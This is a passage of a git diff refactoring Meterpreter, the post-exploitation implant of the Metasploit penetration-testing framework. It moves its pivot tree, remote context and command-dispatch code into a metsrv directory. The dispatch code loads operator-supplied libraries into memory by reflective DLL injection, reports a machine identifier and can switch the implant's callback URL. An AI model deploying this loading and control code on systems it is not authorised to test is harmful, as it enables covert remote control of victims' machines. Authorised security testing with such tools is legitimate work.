Searching right subtree"); - return pivot_tree_find_node(node->right, guid); -} - -PivotContext* pivot_tree_find(PivotTree* tree, LPBYTE guid) -{ - dprintf("[PIVOTTREE] search tree %p, head node %p", tree, tree->head); - return pivot_tree_find_node(tree->head, guid); -} - -void pivot_tree_traverse_node(PivotNode* node, PivotTreeTraverseCallback callback, LPVOID state) -{ - if (node != NULL) - { - pivot_tree_traverse_node(node->left, callback, state); - callback(node->guid, node->ctx, state); - pivot_tree_traverse_node(node->right, callback, state); - } -} - -void pivot_tree_traverse(PivotTree* tree, PivotTreeTraverseCallback callback, LPVOID state) -{ - pivot_tree_traverse_node(tree->head, callback, state); -} - -void pivot_tree_destroy_node(PivotNode* node) -{ - if (node != NULL) - { - pivot_tree_destroy_node(node->left); - pivot_tree_destroy_node(node->right); - free(node); - } -} - -void pivot_tree_destroy(PivotTree* tree) -{ - pivot_tree_destroy_node(tree->head); - free(tree); +#include "common.h" +#include "pivot_tree.h" + +typedef struct _PivotNode +{ + BYTE guid[sizeof(GUID)]; + PivotContext* ctx; + + struct _PivotNode* left; + struct _PivotNode* right; +} PivotNode; + +#ifdef DEBUGTRACE +void pivot_tree_to_string(char** buffer, PivotNode* node, char* prefix) +{ + // each line is the prefix size, plus the guid size plus a null and a \n and the two pointers + int curLen = *buffer ? (int)strlen(*buffer) : 0; + int newLen = (int)strlen(prefix) + 32 + 2 + (sizeof(LPVOID) * 2 + 8) * 2; + *buffer = (char*)realloc(*buffer, curLen + 1 + newLen); + if (node != NULL) + { + PUCHAR h = node->guid; + sprintf(*buffer + curLen, "%s%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X (%p) (%p)\n\x00", + prefix, + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], + node->left, node->right); + char p[512]; + sprintf(p, "%.*s|", (int)(INT_PTR)strlen(prefix), " "); + // print the right hand side first, as it seems to make sense when viewing the content + pivot_tree_to_string(buffer, node->right, p); + pivot_tree_to_string(buffer, node->left, p); + } + else + { + sprintf(*buffer + strlen(*buffer), "%sNULL\n", prefix); + } +} + +void dbgprint_pivot_tree(PivotTree* tree) +{ + char* buffer = NULL; + pivot_tree_to_string(&buffer, tree->head, " "); + if (buffer) + { + dprintf("[PIVOTTREE] contents:\n%s", buffer); + free(buffer); + } +} +#endif + +PivotTree* pivot_tree_create() +{ + return (PivotTree*)calloc(1, sizeof(PivotTree)); +} + +DWORD pivot_tree_add_node(PivotNode* parent, PivotNode* node) +{ + int cmp = memcmp(node->guid, parent->guid, sizeof(parent->guid)); + + if (cmp < 0) + { + if (parent->left == NULL) + { + dprintf("[PIVOTTREE] Adding node to left"); + parent->left = node; + return ERROR_SUCCESS; + } + + dprintf("[PIVOTTREE] Adding node to left subtree"); + return pivot_tree_add_node(parent->left, node); + } + + if (parent->right == NULL) + { + dprintf("[PIVOTTREE] Adding node to right"); + parent->right = node; + return ERROR_SUCCESS; + } + + dprintf("[PIVOTTREE] Adding node to right subtree"); + return pivot_tree_add_node(parent->right, node); +} + +DWORD pivot_tree_add(PivotTree* tree, LPBYTE guid, PivotContext* ctx) +{ + PivotNode* node = (PivotNode*)calloc(1, sizeof(PivotNode)); +#ifdef DEBUGTRACE + PUCHAR h = (PUCHAR)&guid[0]; + dprintf("[PIVOTTREE] Adding GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); +#endif + + memcpy(node->guid, guid, sizeof(node->guid)); + node->ctx = ctx; + + if (tree->head == NULL) + { + tree->head = node; + return ERROR_SUCCESS; + } + + return pivot_tree_add_node(tree->head, node); +} + +PivotNode* pivot_tree_largest_node(PivotNode* node) +{ + if (node == NULL) + { + return NULL; + } + + if (node->right == NULL) + { + return node; + } + return pivot_tree_largest_node(node->right); +} + +PivotContext* pivot_tree_remove_node(PivotNode* parent, LPBYTE guid) +{ + dprintf("[PIVOTTREE] Trying to remove from %p (%p) (%p)", parent, parent->left, parent->right); + int cmp = memcmp(guid, parent->guid, sizeof(parent->guid)); + if (cmp < 0 && parent->left != NULL) + { + dprintf("[PIVOTTREE] Removing from left subtree"); + int cmp = memcmp(guid, parent->left->guid, sizeof(parent->guid)); + dprintf("[PIVOTTREE] Right left compare: %d", cmp); + if (cmp == 0) + { + dprintf("[PIVOTTREE] Removing right child"); + PivotNode* remove = parent->left; + PivotNode* left = remove->left; + PivotNode* largest = pivot_tree_largest_node(left); + + if (largest != NULL) + { + largest->right = remove->right; + parent->left = left; + } + else + { + parent->left = remove->right; + } + + PivotContext* context = remove->ctx; + free(remove); + return context; + } + + return pivot_tree_remove_node(parent->left, guid); + } + + if (cmp > 0 && parent->right != NULL) + { + dprintf("[PIVOTTREE] Removing from right subtree"); + int cmp = memcmp(guid, parent->right->guid, sizeof(parent->guid)); + dprintf("[PIVOTTREE] Right subtree compare: %d", cmp); + if (cmp == 0) + { + dprintf("[PIVOTTREE] Removing right child"); + PivotNode* remove = parent->right; + PivotNode* left = remove->left; + PivotNode* largest = pivot_tree_largest_node(left); + + if (largest != NULL) + { + largest->right = remove->right; + parent->right = left; + } + else + { + parent->right = remove->right; + } + + PivotContext* context = remove->ctx; + free(remove); + return context; + } + + return pivot_tree_remove_node(parent->right, guid); + } + + return NULL; +} + +PivotContext* pivot_tree_remove(PivotTree* tree, LPBYTE guid) +{ +#ifdef DEBUGTRACE + PUCHAR h = (PUCHAR)&guid[0]; + dprintf("[PIVOTTREE] Removing GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); +#endif + + if (tree->head == NULL) + { + return NULL; + } + + int cmp = memcmp(guid, tree->head->guid, sizeof(tree->head->guid)); + + if (cmp == 0) + { + dprintf("[PIVOTTREE] Removing head node"); + PivotNode* remove = tree->head; + PivotNode* left = tree->head->left; + PivotNode* largest = pivot_tree_largest_node(left); + + if (largest != NULL) + { + largest->right = tree->head->right; + tree->head = left; + } + else + { + tree->head = tree->head->right; + } + + PivotContext* context = remove->ctx; + free(remove); + return context; + } + + dprintf("[PIVOTTREE] Removing non-head node"); + return pivot_tree_remove_node(tree->head, guid); +} + +PivotContext* pivot_tree_find_node(PivotNode* node, LPBYTE guid) +{ + if (node == NULL) + { + dprintf("[PIVOTTREE] Current pivot node is null, bailing out"); + return NULL; + } + +#ifdef DEBUGTRACE + PUCHAR h = (PUCHAR)&guid[0]; + dprintf("[PIVOTTREE] Saerch GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); + h = node->guid; + dprintf("[PIVOTTREE] Node GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); +#endif + + int cmp = memcmp(guid, node->guid, sizeof(node->guid)); + if (cmp == 0) + { + dprintf("[PIVOTTREE] node found"); + return node->ctx; + } + + if (cmp < 0) + { + dprintf("[PIVOTTREE] Searching left subtree"); + return pivot_tree_find_node(node->left, guid); + } + + dprintf("[PIVOTTREE] Searching right subtree"); + return pivot_tree_find_node(node->right, guid); +} + +PivotContext* pivot_tree_find(PivotTree* tree, LPBYTE guid) +{ + dprintf("[PIVOTTREE] search tree %p, head node %p", tree, tree->head); + return pivot_tree_find_node(tree->head, guid); +} + +void pivot_tree_traverse_node(PivotNode* node, PivotTreeTraverseCallback callback, LPVOID state) +{ + if (node != NULL) + { + pivot_tree_traverse_node(node->left, callback, state); + callback(node->guid, node->ctx, state); + pivot_tree_traverse_node(node->right, callback, state); + } +} + +void pivot_tree_traverse(PivotTree* tree, PivotTreeTraverseCallback callback, LPVOID state) +{ + pivot_tree_traverse_node(tree->head, callback, state); +} + +void pivot_tree_destroy_node(PivotNode* node) +{ + if (node != NULL) + { + pivot_tree_destroy_node(node->left); + pivot_tree_destroy_node(node->right); + free(node); + } +} + +void pivot_tree_destroy(PivotTree* tree) +{ + pivot_tree_destroy_node(tree->head); + free(tree); } \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/pivot_tree.h b/c/meterpreter/source/metsrv/pivot_tree.h new file mode 100644 index 00000000..6c72388e --- /dev/null +++ b/c/meterpreter/source/metsrv/pivot_tree.h @@ -0,0 +1,18 @@ +#ifndef _METERPRETER_METSRV_PIVOT_TREE_H +#define _METERPRETER_METSRV_PIVOT_TREE_H + +#include "common_pivot_tree.h" + +PivotTree* pivot_tree_create(); +DWORD pivot_tree_add(PivotTree* tree, LPBYTE guid, PivotContext* ctx); +PivotContext* pivot_tree_remove(PivotTree* tree, LPBYTE guid); +PivotContext* pivot_tree_find(PivotTree* tree, LPBYTE guid); +void pivot_tree_traverse(PivotTree* tree, PivotTreeTraverseCallback callback, LPVOID state); +void pivot_tree_destroy(PivotTree* tree); + + +#ifdef DEBUGTRACE +void dbgprint_pivot_tree(PivotTree* tree); +#endif + +#endif \ No newline at end of file diff --git a/c/meterpreter/source/common/remote.c b/c/meterpreter/source/metsrv/remote.c old mode 100755 new mode 100644 similarity index 94% rename from c/meterpreter/source/common/remote.c rename to c/meterpreter/source/metsrv/remote.c index abb79b87..33e698ea --- a/c/meterpreter/source/common/remote.c +++ b/c/meterpreter/source/metsrv/remote.c @@ -1,79 +1,79 @@ -/*! - * @file remote.c - * @brief Definitions of functions and types that interact with a remote endpoint. - */ -#include "common.h" -#include "packet_encryption.h" - -/*! - * @brief Instantiate a remote context from a file descriptor. - * @details This function takes a file descriptor and wraps it in \c Remote - * context which makes it easier to interact with the endpoint. - * @returns Pointer to the created \c Remote instance. - * @retval NULL Indicates a memory allocation failure or a lock creation failure. - * @retval Non-NULL Successful creation of the context. - */ -Remote* remote_allocate() -{ - Remote* remote = (Remote*)calloc(1, sizeof(Remote)); - LOCK* lock = lock_create(); - - do - { - if (remote == NULL || lock == NULL) - { - break; - } - - remote->lock = lock; - remote->enc_ctx = NULL; - remote->pivot_sessions = pivot_tree_create(); - remote->pivot_listeners = pivot_tree_create(); - - dprintf("[REMOTE] remote created %p", remote); - return remote; - } while (0); - - if (lock) - { - lock_destroy(lock); - } - - if (remote->pivot_sessions) - { - pivot_tree_destroy(remote->pivot_sessions); - } - - if (remote->pivot_listeners) - { - pivot_tree_destroy(remote->pivot_listeners); - } - - free(remote); - - vdprintf("[REMOTE] here 3"); - return NULL; -} - -/*! - * @brief Deallocate a remote context. - * @param remote Pointer to the \c Remote instance to deallocate. - */ -VOID remote_deallocate(Remote * remote) -{ - free_encryption_context(remote); - pivot_tree_destroy(remote->pivot_sessions); - pivot_tree_destroy(remote->pivot_listeners); - - if (remote->lock) - { - lock_destroy(remote->lock); - } - - free(remote->orig_config); - - // Wipe our structure from memory - memset(remote, 0, sizeof(Remote)); - - free(remote); -} +/*! + * @file remote.c + * @brief Definitions of functions and types that interact with a remote endpoint. + */ +#include "metsrv.h" +#include "packet_encryption.h" + +/*! + * @brief Instantiate a remote context from a file descriptor. + * @details This function takes a file descriptor and wraps it in \c Remote + * context which makes it easier to interact with the endpoint. + * @returns Pointer to the created \c Remote instance. + * @retval NULL Indicates a memory allocation failure or a lock creation failure. + * @retval Non-NULL Successful creation of the context. + */ +Remote* remote_allocate() +{ + Remote* remote = (Remote*)calloc(1, sizeof(Remote)); + LOCK* lock = lock_create(); + + do + { + if (remote == NULL || lock == NULL) + { + break; + } + + remote->lock = lock; + remote->enc_ctx = NULL; + remote->pivot_sessions = pivot_tree_create(); + remote->pivot_listeners = pivot_tree_create(); + + dprintf("[REMOTE] remote created %p", remote); + return remote; + } while (0); + + if (lock) + { + lock_destroy(lock); + } + + if (remote->pivot_sessions) + { + pivot_tree_destroy(remote->pivot_sessions); + } + + if (remote->pivot_listeners) + { + pivot_tree_destroy(remote->pivot_listeners); + } + + free(remote); + + vdprintf("[REMOTE] here 3"); + return NULL; +} + +/*! + * @brief Deallocate a remote context. + * @param remote Pointer to the \c Remote instance to deallocate. + */ +VOID remote_deallocate(Remote * remote) +{ + free_encryption_context(remote); + pivot_tree_destroy(remote->pivot_sessions); + pivot_tree_destroy(remote->pivot_listeners); + + if (remote->lock) + { + lock_destroy(remote->lock); + } + + free(remote->orig_config); + + // Wipe our structure from memory + memset(remote, 0, sizeof(Remote)); + + free(remote); +} diff --git a/c/meterpreter/source/metsrv/remote.h b/c/meterpreter/source/metsrv/remote.h new file mode 100644 index 00000000..9fdadd9a --- /dev/null +++ b/c/meterpreter/source/metsrv/remote.h @@ -0,0 +1,17 @@ +/*! + * @file remote.h + * @brief Declarations of functions and types that interact with a remote endpoint. + */ +#ifndef _METERPRETER_METSRV_REMOTE_H +#define _METERPRETER_METSRV_REMOTE_H + +#include "common_thread.h" +#include "common_config.h" +#include "common_pivot_tree.h" + +Remote* remote_allocate(); +VOID remote_deallocate(Remote *remote); + +VOID remote_set_fd(Remote *remote, SOCKET fd); + +#endif diff --git a/c/meterpreter/source/server/win/remote_dispatch.c b/c/meterpreter/source/metsrv/remote_dispatch.c old mode 100755 new mode 100644 similarity index 69% rename from c/meterpreter/source/server/win/remote_dispatch.c rename to c/meterpreter/source/metsrv/remote_dispatch.c index fb249d59..fa7af208 --- a/c/meterpreter/source/server/win/remote_dispatch.c +++ b/c/meterpreter/source/metsrv/remote_dispatch.c @@ -1,348 +1,512 @@ -#include "metsrv.h" - -// see ReflectiveLoader.c... -extern HINSTANCE hAppInstance; - -// see remote_dispatch_common.c -extern PLIST gExtensionList; -// see common/base.c -extern Command *extensionCommands; - -/* - * @brief Perform the initialisation of stageless extensions, if rquired. - * @param extensionName The name of the extension to initialise. - * @param data Pointer to the data containing the initialisation data. - * @param dataSize Size of the data referenced by \c data. - * @returns Indication of success or failure. - */ -DWORD stagelessinit_extension(const char* extensionName, LPBYTE data, DWORD dataSize) -{ - dprintf("[STAGELESSINIT] searching for extension init for %s in %p", extensionName, gExtensionList); - dprintf("[STAGELESSINIT] extension list start is %p", gExtensionList->start); - for (PNODE node = gExtensionList->start; node != NULL; node = node->next) - { - PEXTENSION ext = (PEXTENSION)node->data; - dprintf("[STAGELESSINIT] comparing to %s (init is %p)", ext->name, ext->stagelessInit); - if (strcmp(ext->name, extensionName) == 0 && ext->stagelessInit != NULL) - { - dprintf("[STAGELESSINIT] found for %s", extensionName); - return ext->stagelessInit(data, dataSize); - } - } - return ERROR_NOT_FOUND; -} - -/* - * @brief Load an extension from the given library handle. - * @param hLibrary handle to the library to load/init. - * @param bLibLoadedReflectivly Indication of whether the library was loaded using RDI. - * @param remote Pointer to the \c Remote instance. - * @param response Pointer to the \c Response packet. - * @param pFirstCommand Pointer to the head of the loaded command list. - * @returns Indication of success or failure. - */ -DWORD load_extension(HMODULE hLibrary, BOOL bLibLoadedReflectivly, Remote* remote, Packet* response, Command* pFirstCommand) -{ - DWORD dwResult = ERROR_OUTOFMEMORY; - PEXTENSION pExtension = (PEXTENSION)malloc(sizeof(EXTENSION)); - - dprintf("[SERVER] Initialising extension %x", hLibrary); - if (pExtension) - { - memset(pExtension, 0, sizeof(EXTENSION)); - - pExtension->library = hLibrary; - - // if the library was loaded via its reflective loader we must use GetProcAddressR() - if (bLibLoadedReflectivly) - { - pExtension->init = (PSRVINIT)GetProcAddressR(pExtension->library, "InitServerExtension"); - pExtension->deinit = (PSRVDEINIT)GetProcAddressR(pExtension->library, "DeinitServerExtension"); - pExtension->getname = (PSRVGETNAME)GetProcAddressR(pExtension->library, "GetExtensionName"); - pExtension->commandAdded = (PCMDADDED)GetProcAddressR(pExtension->library, "CommandAdded"); - pExtension->stagelessInit = (PSTAGELESSINIT)GetProcAddressR(pExtension->library, "StagelessInit"); - } - else - { - pExtension->init = (PSRVINIT)GetProcAddress(pExtension->library, "InitServerExtension"); - pExtension->deinit = (PSRVDEINIT)GetProcAddress(pExtension->library, "DeinitServerExtension"); - pExtension->getname = (PSRVGETNAME)GetProcAddress(pExtension->library, "GetExtensionName"); - pExtension->commandAdded = (PCMDADDED)GetProcAddress(pExtension->library, "CommandAdded"); - pExtension->stagelessInit = (PSTAGELESSINIT)GetProcAddress(pExtension->library, "StagelessInit"); - } - - // patch in the metsrv.dll's HMODULE handle, used by the server extensions for delay loading - // functions from the metsrv.dll library. We need to do it this way as LoadLibrary/GetProcAddress - // wont work if we have used Reflective DLL Injection as metsrv.dll will be 'invisible' to these functions. - if (remote) - { - remote->met_srv = hAppInstance; - } - - dprintf("[SERVER] Calling init on extension, address is 0x%p", pExtension->init); - - // Call the init routine in the library - if (pExtension->init) - { - dprintf("[SERVER] Calling init()..."); - - pExtension->end = pFirstCommand; - dwResult = pExtension->init(remote); - pExtension->start = extensionCommands; - - if (dwResult == ERROR_SUCCESS) - { - // inform the new extension of the existing commands - if (pExtension->commandAdded) - { - for (Command* command = pExtension->end; command != NULL; command = command->next) - { - pExtension->commandAdded(command->method); - } - } - - if (pExtension->getname) - { - pExtension->getname(pExtension->name, sizeof(pExtension->name)); - } - - list_push(gExtensionList, pExtension); - } - else - { - free(pExtension); - } - } - - dprintf("[SERVER] Called init()..."); - if (response) - { - for (Command* command = pExtension->start; command != pExtension->end; command = command->next) - { - packet_add_tlv_string(response, TLV_TYPE_METHOD, command->method); - - // inform existing extensions of the new commands - for (PNODE node = gExtensionList->start; node != NULL; node = node->next) - { - PEXTENSION ext = (PEXTENSION)node->data; - // don't inform the extension of itself - if (ext != pExtension && ext->commandAdded) - { - ext->commandAdded(command->method); - } - } - } - } - } - - return dwResult; -} - -/* - * @brief Load a library from the request packet. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to the incoming request \c Packet. - * @returns Indication of success or failure. - */ -DWORD request_core_loadlib(Remote *remote, Packet *packet) -{ - Packet *response = packet_create_response(packet); - DWORD res = ERROR_SUCCESS; - HMODULE library; - PCHAR libraryPath; - DWORD flags = 0; - BOOL bLibLoadedReflectivly = FALSE; - - Command *first = extensionCommands; - - do - { - libraryPath = packet_get_tlv_value_string(packet, TLV_TYPE_LIBRARY_PATH); - flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS); - - // Invalid library path? - if (!libraryPath) - { - res = ERROR_INVALID_PARAMETER; - break; - } - - // If the lib does not exist locally, but is being uploaded... - if (!(flags & LOAD_LIBRARY_FLAG_LOCAL)) - { - PCHAR targetPath; - Tlv dataTlv; - - // Get the library's file contents - if ((packet_get_tlv(packet, TLV_TYPE_DATA, - &dataTlv) != ERROR_SUCCESS) || - (!(targetPath = packet_get_tlv_value_string(packet, - TLV_TYPE_TARGET_PATH)))) - { - res = ERROR_INVALID_PARAMETER; - break; - } - - // If the library is not to be stored on disk, - if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK)) - { - // try to load the library via its reflective loader... - library = LoadLibraryR(dataTlv.buffer, dataTlv.header.length); - if (library == NULL) - { - // if that fails, presumably besause the library doesn't support - // reflective injection, we default to using libloader... - library = libloader_load_library(targetPath, - dataTlv.buffer, dataTlv.header.length); - } - else - { - bLibLoadedReflectivly = TRUE; - } - - res = (library) ? ERROR_SUCCESS : ERROR_NOT_FOUND; - } - else - { - // Otherwise, save the library buffer to disk - res = buffer_to_file(targetPath, dataTlv.buffer, - dataTlv.header.length); - } - - // Override the library path - libraryPath = targetPath; - } - - // If a previous operation failed, break out. - if (res != ERROR_SUCCESS) - { - break; - } - - // Load the library - if (!library && !(library = LoadLibraryA(libraryPath))) - { - res = GetLastError(); - } - - // If this library is supposed to be an extension library, try to - // call its Init routine - if ((flags & LOAD_LIBRARY_FLAG_EXTENSION) && library) - { - res = load_extension(library, bLibLoadedReflectivly, remote, response, first); - } - - } while (0); - - if (response) - { - packet_transmit_response(res, remote, response); - } - - return res; -} - -/* - * @brief Set/update the current UUID for the session. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to the incoming request \c Packet. - * @returns Indication of success or failure. - */ -DWORD request_core_set_uuid(Remote* remote, Packet* packet) -{ - Packet* response = packet_create_response(packet); - PBYTE newUuid = packet_get_tlv_value_raw(packet, TLV_TYPE_UUID); - - if (newUuid != NULL) - { - memcpy(remote->orig_config->session.uuid, newUuid, UUID_SIZE); - } - - if (response) - { - packet_transmit_response(ERROR_SUCCESS, remote, response); - } - - return ERROR_SUCCESS; -} - -/* - * @brief Get the current session GUID. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to the incoming request \c Packet. - * @returns Indication of success or failure. - */ -DWORD request_core_get_session_guid(Remote* remote, Packet* packet) -{ - Packet* response = packet_create_response(packet); - if (response) - { - packet_add_tlv_raw(response, TLV_TYPE_SESSION_GUID, &remote->orig_config->session.session_guid, sizeof(GUID)); - packet_transmit_response(ERROR_SUCCESS, remote, response); - } - return ERROR_SUCCESS; -} - -/* - * @brief Set the current session GUID. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to the incoming request \c Packet. - * @returns Indication of success or failure. - */ -DWORD request_core_set_session_guid(Remote* remote, Packet* packet) -{ - DWORD result = ERROR_SUCCESS; - LPBYTE sessionGuid = packet_get_tlv_value_raw(packet, TLV_TYPE_SESSION_GUID); - - if (sessionGuid != NULL) - { - memcpy(remote->orig_config->session.session_guid, sessionGuid, sizeof(GUID)); - } - else - { - result = ERROR_BAD_ARGUMENTS; - } - - packet_transmit_empty_response(remote, packet, result); - - return ERROR_SUCCESS; -} - -/* - * @brief Get the current machine identifier. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to the incoming request \c Packet. - * @returns Indication of success or failure. - */ -DWORD request_core_machine_id(Remote* remote, Packet* packet) -{ - DWORD res = ERROR_SUCCESS; - dprintf("[CORE] Running request_core_machine_id"); - Packet* response = packet_create_response(packet); - dprintf("[CORE] response is %p", response); - - if (response) - { - wchar_t buffer[MAX_PATH]; - if (GetSystemDirectory(buffer, MAX_PATH) != 0) - { - wchar_t computerName[MAX_PATH]; - DWORD computerNameSize = MAX_PATH; - DWORD serialNumber; - wchar_t* backslash = wcschr(buffer, L'\\'); - *(backslash + 1) = L'\0'; - - GetVolumeInformation(buffer, NULL, 0, &serialNumber, NULL, 0, NULL, 0); - - GetComputerName(computerName, &computerNameSize); - - _snwprintf_s(buffer, MAX_PATH, MAX_PATH - 1, L"%04x-%04x:%s", HIWORD(serialNumber), LOWORD(serialNumber), computerName); - packet_add_tlv_wstring(response, TLV_TYPE_MACHINE_ID, buffer); - dprintf("[CORE] sending machine id: %S", buffer); - } - - packet_transmit_response(res, remote, response); - } - - return ERROR_SUCCESS; -} +#include "metsrv.h" +#include "common_metapi.h" +#include "server_pivot.h" + +// see ReflectiveLoader.c... +extern HINSTANCE hAppInstance; + +// see remote_dispatch_common.c +extern PLIST gExtensionList; +// see common/base.c +extern Command *extensionCommands; + +PLIST gExtensionList = NULL; + +DWORD request_core_enumextcmd(Remote* remote, Packet* packet); +DWORD request_core_machine_id(Remote* remote, Packet* packet); +DWORD request_core_get_session_guid(Remote* remote, Packet* packet); +DWORD request_core_set_session_guid(Remote* remote, Packet* packet); +DWORD request_core_set_uuid(Remote* remote, Packet* packet); +BOOL request_core_patch_url(Remote* remote, Packet* packet, DWORD* result); + +// Dispatch table +Command customCommands[] = +{ + COMMAND_REQ("core_loadlib", request_core_loadlib), + COMMAND_REQ("core_enumextcmd", request_core_enumextcmd), + COMMAND_REQ("core_machine_id", request_core_machine_id), + COMMAND_REQ("core_get_session_guid", request_core_get_session_guid), + COMMAND_REQ("core_set_session_guid", request_core_set_session_guid), + COMMAND_REQ("core_set_uuid", request_core_set_uuid), + COMMAND_REQ("core_pivot_add", request_core_pivot_add), + COMMAND_REQ("core_pivot_remove", request_core_pivot_remove), + COMMAND_INLINE_REP("core_patch_url", request_core_patch_url), + COMMAND_TERMINATOR +}; + +typedef struct _EnumExtensions +{ + Packet* pResponse; + char* lpExtensionName; +} EnumExtensions, * PEnumExtensions; + + +/* + * Writes a buffer to a file + */ +DWORD buffer_to_file(LPCSTR filePath, PUCHAR buffer, ULONG length) +{ + DWORD res, offset = 0, bytesLeft = 0, bytesWritten = 0; + HANDLE h; + + do + { + // Try to open the file for writing + if ((h = CreateFileA(filePath, GENERIC_WRITE, 0, NULL, CREATE_NEW, + FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) + { + res = GetLastError(); + break; + } + + bytesLeft = length; + + // Keep writing until everything is written + while ((bytesLeft) && + (WriteFile(h, buffer + offset, bytesLeft, &bytesWritten, NULL))) + { + bytesLeft -= bytesWritten; + offset += bytesWritten; + } + + res = ERROR_SUCCESS; + + } while (0); + + if (h != INVALID_HANDLE_VALUE) + CloseHandle(h); + + return res; +} + +BOOL ext_cmd_callback(LPVOID pState, LPVOID pData) +{ + PEnumExtensions pEnum = (PEnumExtensions)pState; + Command* command = NULL; + + if (pEnum != NULL && pEnum->pResponse != NULL && pData != NULL) + { + PEXTENSION pExt = (PEXTENSION)pData; + if (pExt->name[0] != '\0' && pEnum->lpExtensionName != NULL && strcmp(pExt->name, pEnum->lpExtensionName) == 0) + { + dprintf("[LISTEXT] Found extension: %s", pExt->name); + for (command = pExt->start; command != pExt->end; command = command->next) + { + packet_add_tlv_string(pEnum->pResponse, TLV_TYPE_STRING, command->method); + } + dprintf("[LISTEXT] Finished listing extension: %s", pExt->name); + + return TRUE; + } + } + return FALSE; +} + +BOOL request_core_patch_url(Remote* remote, Packet* packet, DWORD* result) +{ + // this is a special case because we don't actually send + // response to this. This is a brutal switch without any + // other forms of comms, and this is because of stageless + // payloads + if (remote->transport->type == METERPRETER_TRANSPORT_TCP) + { + // This shouldn't happen. + *result = ERROR_INVALID_STATE; + } + else + { + HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; + ctx->new_uri = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); + *result = ERROR_SUCCESS; + } + return TRUE; +} + +DWORD request_core_enumextcmd(Remote* remote, Packet* packet) +{ + BOOL bResult = FALSE; + Packet* pResponse = packet_create_response(packet); + + if (pResponse != NULL) + { + EnumExtensions enumExt; + enumExt.pResponse = pResponse; + enumExt.lpExtensionName = packet_get_tlv_value_string(packet, TLV_TYPE_STRING); + + dprintf("[LISTEXTCMD] Listing extension commands for %s ...", enumExt.lpExtensionName); + // Start by enumerating the names of the extensions + bResult = list_enumerate(gExtensionList, ext_cmd_callback, &enumExt); + + packet_transmit_response(ERROR_SUCCESS, remote, pResponse); + } + + return ERROR_SUCCESS; +} + +/* + * Registers custom command handlers + */ +VOID register_dispatch_routines() +{ + gExtensionList = list_create(); + + command_register_all(customCommands); +} + +/* + * Deregisters previously registered custom commands and loaded extensions. + */ +VOID deregister_dispatch_routines(Remote * remote) +{ + while (TRUE) + { + PEXTENSION extension = list_pop(gExtensionList); + if (!extension) + { + break; + } + + if (extension->deinit) + { + extension->deinit(remote); + } + + free(extension); + } + + command_deregister_all(customCommands); + + list_destroy(gExtensionList); +} + + +/* + * @brief Perform the initialisation of stageless extensions, if rquired. + * @param extensionName The name of the extension to initialise. + * @param data Pointer to the data containing the initialisation data. + * @param dataSize Size of the data referenced by \c data. + * @returns Indication of success or failure. + */ +DWORD stagelessinit_extension(const char* extensionName, LPBYTE data, DWORD dataSize) +{ + dprintf("[STAGELESSINIT] searching for extension init for %s in %p", extensionName, gExtensionList); + dprintf("[STAGELESSINIT] extension list start is %p", gExtensionList->start); + for (PNODE node = gExtensionList->start; node != NULL; node = node->next) + { + PEXTENSION ext = (PEXTENSION)node->data; + dprintf("[STAGELESSINIT] comparing to %s (init is %p)", ext->name, ext->stagelessInit); + if (strcmp(ext->name, extensionName) == 0 && ext->stagelessInit != NULL) + { + dprintf("[STAGELESSINIT] found for %s", extensionName); + return ext->stagelessInit(data, dataSize); + } + } + return ERROR_NOT_FOUND; +} + +/* + * @brief Load an extension from the given library handle. + * @param hLibrary handle to the library to load/init. + * @param bLibLoadedReflectivly Indication of whether the library was loaded using RDI. + * @param remote Pointer to the \c Remote instance. + * @param response Pointer to the \c Response packet. + * @param pFirstCommand Pointer to the head of the loaded command list. + * @returns Indication of success or failure. + */ +DWORD load_extension(HMODULE hLibrary, BOOL bLibLoadedReflectivly, Remote* remote, Packet* response, Command* pFirstCommand) +{ + DWORD dwResult = ERROR_OUTOFMEMORY; + PEXTENSION pExtension = (PEXTENSION)malloc(sizeof(EXTENSION)); + + dprintf("[SERVER] Initialising extension %x", hLibrary); + if (pExtension) + { + memset(pExtension, 0, sizeof(EXTENSION)); + + pExtension->library = hLibrary; + + // if the library was loaded via its reflective loader we must use GetProcAddressR() + if (bLibLoadedReflectivly) + { + pExtension->init = (PSRVINIT)GetProcAddressR(pExtension->library, "InitServerExtension"); + pExtension->deinit = (PSRVDEINIT)GetProcAddressR(pExtension->library, "DeinitServerExtension"); + pExtension->getname = (PSRVGETNAME)GetProcAddressR(pExtension->library, "GetExtensionName"); + pExtension->commandAdded = (PCMDADDED)GetProcAddressR(pExtension->library, "CommandAdded"); + pExtension->stagelessInit = (PSTAGELESSINIT)GetProcAddressR(pExtension->library, "StagelessInit"); + } + else + { + pExtension->init = (PSRVINIT)GetProcAddress(pExtension->library, "InitServerExtension"); + pExtension->deinit = (PSRVDEINIT)GetProcAddress(pExtension->library, "DeinitServerExtension"); + pExtension->getname = (PSRVGETNAME)GetProcAddress(pExtension->library, "GetExtensionName"); + pExtension->commandAdded = 